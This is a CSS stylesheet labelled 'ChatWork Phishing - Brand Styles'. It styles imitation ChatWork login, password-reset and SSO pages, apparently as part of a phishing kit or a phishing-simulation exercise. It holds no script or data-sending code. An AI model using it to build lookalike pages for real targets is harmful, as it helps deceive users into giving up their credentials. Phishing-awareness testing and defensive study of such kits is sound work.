/* ChatWork Phishing - Brand Styles */
@import url('https://fonts.googleapis.com/css2?family=Noto+Sans+JP:wght@400;500;700&display=swap');

*{margin:0;padding:0;box-sizing:border-box}

body{
    font-family:'Noto Sans JP',-apple-system,BlinkMacSystemFont,sans-serif;
    background:#f0f0f5;color:#333;min-height:100vh;
}

.cw-wrapper{min-height:100vh;display:flex;flex-direction:column}

/* Header */
.cw-header{
    display:flex;justify-content:space-between;align-items:center;
    padding:15px 40px;background:#fff;box-shadow:0 1px 3px rgba(0,0,0,.1);
}
.cw-logo{display:flex;align-items:center;gap:8px}
.cw-logo-icon{font-size:28px}
.cw-logo-text{font-size:22px;font-weight:700;color:#ff6b6b}
.cw-nav{display:flex;gap:25px}
.cw-nav a{color:#666;text-decoration:none;font-size:14px;font-weight:500}
.cw-nav a:hover{color:#ff6b6b}

/* Main */
.cw-main{flex:1;display:flex;align-items:center;justify-content:center;padding:40px}

/* Login Box */
.cw-login-box{
    display:flex;background:#fff;border-radius:12px;
    box-shadow:0 8px 32px rgba(0,0,0,.15);overflow:hidden;max-width:900px;width:100%
}

/* Left side */
.cw-login-left{
    flex:1;padding:50px 40px;background:linear-gradient(135deg,#ff6b6b 0%,#ff8e8e 100%);
    color:#fff;display:flex;flex-direction:column;justify-content:center
}
.cw-login-left h1{font-size:28px;line-height:1.4;margin-bottom:15px;font-weight:700}
.cw-login-left p{font-size:15px;opacity:.9;line-height:1.6}
.cw-illustration{margin-top:30px;display:flex;flex-direction:column;gap:10px}
.cw-bubble{
    background:rgba(255,255,255,.2);padding:10px 18px;border-radius:20px;
    font-size:14px;width:fit-content;backdrop-filter:blur(4px)
}

/* Right side */
.cw-login-right{flex:1;padding:50px 40px;display:flex;flex-direction:column;justify-content:center}
.cw-login-right h2{font-size:24px;color:#333;margin-bottom:25px;font-weight:700}

/* Form */
.cw-form{display:flex;flex-direction:column;gap:16px}
.cw-field{display:flex;flex-direction:column;gap:6px}
.cw-field label{font-size:13px;color:#666;font-weight:500}
.cw-field input{
    padding:12px 14px;border:1px solid #ddd;border-radius:6px;
    font-size:14px;font-family:inherit;transition:border-color .2s
}
.cw-field input:focus{border-color:#ff6b6b;outline:none}
.cw-options{display:flex;justify-content:space-between;align-items:center;font-size:13px}
.cw-checkbox{display:flex;align-items:center;gap:6px;color:#666;cursor:pointer}
.cw-forgot{color:#ff6b6b;text-decoration:none}
.cw-forgot:hover{text-decoration:underline}

/* Buttons */
.cw-btn-primary{
    padding:12px;background:linear-gradient(135deg,#ff6b6b 0%,#ff5252 100%);
    color:#fff;border:none;border-radius:6px;font-size:15px;font-weight:600;
    cursor:pointer;transition:opacity .2s
}
.cw-btn-primary:hover{opacity:.9}
.cw-btn-warning{background:linear-gradient(135deg,#ffa502 0%,,#ff6348 100%)}

.cw-divider{text-align:center;color:#aaa;font-size:13px;margin:5px 0;position:relative}
.cw-divider::before,.cw-divider::after{
    content:'';position:absolute;top:50%;width:40%;height:1px;background:#ddd
}
.cw-divider::before{left:0}.cw-divider::after{right:0}
.cw-divider span{background:#fff;padding:0 10px;z-index:1;position:relative}

.cw-btn-sso{
    text-align:center;padding:12px;border:1px solid #ddd;border-radius:6px;
    color:#666;text-decoration:none;font-size:14px;font-weight:500;transition:all .2s
}
.cw-btn-sso:hover{border-color:#ff6b6b;color:#ff6b6b}

.cw-signup{font-size:13px;color:#999;text-align:center;margin-top:10px}
.cw-signup a{color:#ff6b6b;text-decoration:none}

/* Footer */
.cw-footer{
    padding:15px 40px;background:#fff;text-align:center;
    font-size:12px;color:#999;box-shadow:0 -1px 3px rgba(0,0,0,.05)
}
.cw-footer a{color:#999;text-decoration:none;margin:0 5px}

/* Reset Box */
.cw-reset-box{max-width:500px}
.cw-reset-right{padding:40px}
.cw-alert{
    background:#fff3cd;border:1px solid #ffeaa7;border-radius:8px;
    padding:20px;margin-bottom:25px;text-align:center
}
.cw-alert-icon{font-size:36px;display:block;margin-bottom:10px}
.cw-alert h2{font-size:18px;color:#856404;margin-bottom:8px}
.cw-alert p{font-size:13px;color:#856404;line-height:1.6}
.cw-btn-warning{background:linear-gradient(135deg,#ffa502 0%,#ff6348 100%)}
.cw-note{font-size:12px;color:#999;text-align:center;margin-top:10px}

/* SSO Box */
.cw-sso-wrapper{background:linear-gradient(135deg,#1a1a2e 0%,#0f3460 100%)}
.cw-sso-box{max-width:800px}
.cw-sso-left{
    flex:1;padding:50px 40px;background:linear-gradient(135deg,#0f3460 0%,#1a1a4e 100%);
    color:#fff;display:flex;flex-direction:column;justify-content:center
}
.cw-sso-badge{
    display:inline-block;background:#4ecca3;color:#0f3460;
    padding:4px 12px;border-radius:12px;font-size:12px;font-weight:600;
    width:fit-content;margin-bottom:15px
}
.cw-sso-left h1{font-size:24px;margin-bottom:10px}
.cw-sso-left p{font-size:14px;opacity:.8;line-height:1.6}
.cw-sso-icon{font-size:48px;text-align:center;margin-bottom:15px}
.cw-sso-subtitle{font-size:13px;color:#999;margin-bottom:20px;text-align:center}
.cw-sso-form{gap:14px}
.cw-btn-sso-blue{background:linear-gradient(135deg,#0f3460 0%,#1a1a4e 100%)}
.cw-sso-info{display:flex;justify-content:center;gap:20px;font-size:12px;color:#999;margin-top:10px}

/* Responsive */
@media(max-width:700px){
    .cw-login-box{flex-direction:column}
    .cw-login-left{padding:30px 25px}
    .cw-login-right{padding:30px 25px}
    .cw-nav{display:none}
}